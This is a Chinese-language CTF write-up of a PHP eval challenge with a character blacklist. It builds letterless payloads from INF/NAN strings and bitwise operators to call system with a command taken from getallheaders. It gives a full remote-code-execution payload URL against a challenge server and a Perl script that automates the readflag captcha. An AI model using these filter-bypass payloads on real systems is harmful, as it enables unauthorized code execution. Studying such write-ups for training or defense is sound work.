咕了好久没写博客了,主要是懒
进去之后给了源码
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/im', $str)) { die("what are you want to do?"); } } @eval('echo '.$str.';'); } ?>
看起来是要构造无字母的shell,然而过滤了$,之前的方法没法用了
过滤了异或,不过没有过滤&和|,可以用来构造新字符
在PHP中,两个数字使用.拼接,会被当做字符串处理并返回。例如:(1).(2)出来的就是字符串"12",然后可以用{}来取单个字符,例如(1).(2){0}就是1。
此外,可以通过1/0得到INF,0/0得到NAN,我们也可以把这些转成字符串类型,从而得到字母A I N F
(((1/0).(0)){0}) //I (((1/0).(0)){1}) //N (((1/0).(0)){2}) //F (((0/0).(0)){1}) //A
然后可以通过&和|,以及数字构造新字符
写个脚本跑一下,可以获得这些字符:
0123456789INFAy~vqw:;{s<=}u>?HO@Gxpzr|tKMJBLDCE
因为php7可以动态执行函数,例如('phpinfo')(),且php中函数名大小写不敏感,所以可以利用构造字符串的方式来动态执行函数
构造system函数:
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1).(0)){0}){0})|(((1/0).(0)){0})).(((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((0/0).(0)){1})|(((0/0).(0)){0}))%26((((1/0).(0)){0})|((4).(0)){0}))) //systEM
然后想办法构造参数
尝试了一下没法构造出来_(如果有师傅能构造出来麻烦教我一下orz感谢hshui师傅,可以调用chr来拼orz),所以调用不了get_defined_vars来获得$_GET等数组
查看了一下phpinfo,发现是apache服务,所以可以用getallheaders(){123},然后在headers中添加123的方式获取命令
getallheaders函数:
(((((((1/0).(0)){2})|(((0/0).(0)){1})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((0/0).(0)){1}).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})%26(((1/0).(0)){1}))).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).((((1/0).(0)){2})%26((((1/0).(0)){0})|((4).(0)){0})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((2).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})))())) //getallheaders
最终payload:
http://124.156.140.90:8081/calc.php?num=((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1).(0)){0}){0})|(((1/0).(0)){0})).(((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((0/0).(0)){1})|(((0/0).(0)){0}))%26((((1/0).(0)){0})|((4).(0)){0})))(((((((1/0).(0)){2})|(((0/0).(0)){1})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((4).(0)){0}).(((0/0).(0)){1}).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})|((4).(0)){0})%26(((1/0).(0)){1})).(((((1/0).(0)){0})%26(((1/0).(0)){1}))).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((0/0).(0)){1}).((((1/0).(0)){2})%26((((1/0).(0)){0})|((4).(0)){0})).(((((1/0).(0)){2})|(((0/0).(0)){1}))%26(((((4).(0)){0}){0})|(((0/0).(0)){1}))).(((((1/0).(0)){2})%26(((0/0).(0)){1}))|((2).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})))()){123})
在headers中添加123: cmd
需要执行readflag来读取flag
执行发现是老朋友了:
Solve the easy challenge first (((((158843)-(-929656))+(-669362))+(-218485))-(595340)) input your answer: calculate error! input your answer: calculate error!
上perl脚本,写到tmp目录下
#!/usr/bin/env perl use warnings; use strict; use IPC::Open2; chdir('/'); $| = 1; my $pid = open2(\*out2, \*in2, './readflag') or die; my $reply = <out2>; print STDOUT $reply; #string: solve captcha.. $reply = <out2>; print STDOUT $reply; #captcha formula my $answer = eval($reply); print STDOUT "answer: $answer\n"; print in2 " $answer "; #send it to process # sleep(2); in2->flush(); $reply = <out2>; print $reply; #flag 😀 $reply = <out2>; print $reply; #flag 😀
执行即可获得flag